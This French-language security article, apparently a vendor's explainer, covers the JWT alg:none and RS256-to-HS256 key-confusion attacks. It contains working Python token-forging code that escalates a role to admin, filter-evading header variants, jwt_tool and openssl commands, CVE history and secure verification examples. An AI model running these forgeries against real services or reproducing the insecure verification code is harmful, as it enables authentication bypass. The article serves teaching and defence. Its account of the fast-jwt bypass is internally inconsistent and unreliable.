Modifie l'en-tête d'algorithme à 'none' pour produire un token non signé accepté par les bibliothèques vulnérables qui font confiance à la revendication d'algorithme de l'en-tête.
TL;DR
alg:none indique aux bibliothèques vulnérables d'accepter n'importe quelle charge utile sans vérifier la signatureNone, NONE, nOnE, nonE, none avec espace) contournent les filtres de correspondance en minusculesalgorithms=["RS256"] côté serveur ; ne jamais faire confiance à header.algL'attaque alg:none exploite une faille de conception fondamentale dans les bibliothèques JWT qui traitent le champ d'en-tête alg comme faisant autorité. RFC 7515 (JSON Web Signature) définit alg: "none" comme un identifiant d'algorithme valide signifiant "JWS non sécurisé" — un JWT sans protection d'intégrité. Les bibliothèques qui implémentent le RFC complet sans restreindre les algorithmes qu'elles acceptent à la vérification sont exploitables : un attaquant change l'alg de l'en-tête à none, retire la signature et envoie le token.
CVE-2015-9235 dans jsonwebtoken (Node.js, CVSS 9,8) a été la première divulgation largement documentée. La bibliothèque auth0/node-jsonwebtoken avant la version 4.2.2 acceptait les tokens avec alg: none indépendamment de l'option algorithms. Le pattern a réapparu dans CVE-2026-34950 (fast-jwt, CVSS 9,1) où un patch de sécurité utilisant une correspondance de regex a été contourné via un espace initial.
Implémentation Python étape par étape :
import base64, json
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def b64url_decode(s: str) -> bytes:
s += '=' * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s)
# Token original (divisé en 3 segments)
original = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.SIGNATURE"
parties = original.split(".")
# Décoder la charge originale
charge = json.loads(b64url_decode(parties[1]))
# Créer un en-tête malveillant — alg:none
en_tete_malveillant = {"alg": "none", "typ": "JWT"}
# Modifier les revendications
charge["role"] = "admin"
charge["exp"] = 9999999999
# Ré-encoder sans signature
nouvel_entete = b64url_encode(json.dumps(en_tete_malveillant, separators=(',',':')).encode())
nouvelle_charge = b64url_encode(json.dumps(charge, separators=(',',':')).encode())
token_forge = f"{nouvel_entete}.{nouvelle_charge}." # segment de signature vide| Variante | Valeur alg | Cible de contournement | Notes |
|---|---|---|---|
| Classique | "none" | Bibliothèques non sécurisées par défaut | Pattern CVE-2015-9235 |
| N majuscule | "None" | alg.toLowerCase() == "none" | Contournement filtre minuscules |
| Tout majuscules | "NONE" | Identique | |
| Casse mixte | "nOnE" | Identique | |
| Casse mixte 2 | "nonE" | Identique | Contournement historique Auth0 |
| Espace initial | " none" | Filtres regex /^none$/ | Contournement CVE-2026-34950 fast-jwt |
| Espace final | "none " | Identique | |
| Liste algorithmes | "none/HS256" | Analyseurs conscients des listes | Certaines implémentations prennent la première valeur |
L'attaquant change alg de RS256 à HS256 et signe avec la clé publique RSA publique du serveur comme secret HMAC :
# Récupérer la clé publique depuis JWKS ou TLS
openssl s_client -connect cible.com:443 2>/dev/null | openssl x509 -pubkey -noout > cle_publique.pem
# Forger le token HS256 en utilisant la clé publique comme secret HMAC
python3 /opt/jwt_tool/jwt_tool.py "$JWT_ORIGINAL" -X k -pk cle_publique.pem -I -pc role -pv adminCVE-2015-9235 — jsonwebtoken (CVSS 9,8)
La bibliothèque auth0/node-jsonwebtoken avant la version 4.2.2 acceptait les tokens avec alg défini à none. Un attaquant pouvait signer n'importe quelle charge utile avec une signature vide et la bibliothèque retournait la charge décodée comme vérifiée. Corrigé en exigeant une option algorithms explicite.
CVE-2026-34950 — Réactivation confusion algorithme fast-jwt (CVSS 9,1)
fast-jwt avait patché CVE-2023-48223 en rejetant les tokens avec alg: "none" via regex. Le contournement 2026 soumettait HS256 (espace initial). La regex /^[A-Z]+\d+$/ échouait à correspondre à cause de l'espace, et la bibliothèque acceptait l'algorithme de l'en-tête — réactivant silencieusement la CVE originale.
CVE-2022-21449 — Psychic Signatures Java (CVSS 7,5) Toutes les applications Java utilisant le vérificateur ECDSA JCA sur Java SE 15, 16, 17 et 18 étaient vulnérables. Une signature ECDSA vide (r=0, s=0) passait la vérification pour n'importe quel message et clé. Découvert par Neil Madden, publié le 19 avril 2022.
CVE-2016-5431 — python-jose (CVSS 9,8)
python-jose avant la version 0.5.6 appelait jwt.decode(token, cle, algorithm=header.alg) — lisant l'algorithme depuis l'en-tête plutôt que d'exiger que l'appelant le spécifie. Définir alg: none contournait toute vérification de signature.
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X a -npENTETE=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
CHARGE=$(echo "$TOKEN" | cut -d'.' -f2)
echo "${ENTETE}.${CHARGE}."jwt_tool mode playbook :
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -M pb -np -url "https://cible.com/api/protege"Burp Suite JWT Editor : Intercepter une requête → Envoyer au Répéteur → onglet JWT Editor → Attaque → alg:none.
BreachVex détecte alg:none par test structurel de token : il génère les 8 tokens de variante de casse, les envoie à un oracle d'authentification confirmé (établi via une vérification triple-baseline — token valide, aucun token et token corrompu) et vérifie l'acceptation par comparaison du corps de réponse à la baseline authentifiée légitime. Une vulnérabilité confirmée exige une réponse 200 avec des données spécifiques à l'utilisateur correspondant à la revendication sub de la charge.
import jwt
# MAUVAIS — lit l'algorithme depuis l'en-tête du token
def verifier_mauvais(token: str, cle: str) -> dict:
alg = jwt.get_unverified_header(token)["alg"]
return jwt.decode(token, cle, algorithms=[alg]) # l'attaquant définit alg=none
# BON — le serveur contrôle l'algorithme
ALGORITHMES_AUTORISES = ["RS256"] # jamais "none"
def verifier_bon(token: str, cle_publique: str) -> dict:
return jwt.decode(
token,
cle_publique,
algorithms=ALGORITHMES_AUTORISES,
options={"require": ["exp", "sub", "iat"]}
)const jwt = require('jsonwebtoken');
// MAUVAIS — pas d'option algorithms : jsonwebtoken < 9.0 fait confiance à l'en-tête
const charge_mauvaise = jwt.verify(token, secret);
// BON — liste d'autorisation explicite, ne jamais inclure 'none'
const charge_bonne = jwt.verify(token, clePublique, {
algorithms: ['RS256'],
issuer: 'https://auth.exemple.com',
audience: 'api.exemple.com',
});Si votre bibliothèque JWT accepte les tokens alg:none, chaque token de votre système est falsifiable. L'attaque ne nécessite aucun matériel de clé, aucun accès réseau au serveur, et prend moins de 10 secondes avec jwt_tool. Toute bibliothèque ne nécessitant pas un paramètre algorithms= explicite est inadaptée à l'authentification en production.
L'attaque alg:none définit le champ alg de l'en-tête JWT à 'none', produisant un token non signé avec un segment de signature vide. Les bibliothèques qui font confiance à la revendication d'algorithme de l'en-tête sautent entièrement la vérification de signature. CVE-2015-9235 (jsonwebtoken, CVSS 9,8) a été la première divulgation largement documentée.
Huit variantes de casse sont testées activement : none, None, NONE, nOnE, nonE, NoNe, nONE, noNe. Les variantes avec espaces contournent les filtres basés sur regex : ' none' (espace initial), 'none ' (espace final). CVE-2026-34950 dans fast-jwt a été exploité via un espace initial sur des versions patchées de CVE-2023-48223.
Oui. alg:none supprime entièrement la signature — aucune vérification cryptographique. La confusion RS256→HS256 effectue toujours une vérification de signature, mais utilise la clé publique RSA publiquement connue comme secret HMAC. alg:none ne nécessite pas de matériel de clé ; RS256→HS256 nécessite la clé publique du serveur.
CVE-2015-9235 (jsonwebtoken Node.js), CVE-2016-5431 (python-jose), CVE-2018-1000531 (jwcrypto). Le pattern récurrent : bibliothèques implémentant l'analyse JWT générique sans imposer une liste d'autorisation d'algorithme à l'étape de vérification. Les versions modernes de PyJWT, jsonwebtoken 9+ et java-jwt exigent toutes un paramètre algorithms explicite.
CVE-2026-34950 dans fast-jwt a réactivé la classe alg:none sur des versions patchées. Le patch original de CVE-2023-48223 utilisait une regex pour rejeter 'none', mais le contournement de 2026 utilisait un espace initial — ' HS256' — pour neutraliser la regex. Ce pattern illustre pourquoi les patches de sécurité par correspondance de chaîne sont fragiles : tout cas limite dans l'expression de correspondance devient un vecteur de contournement.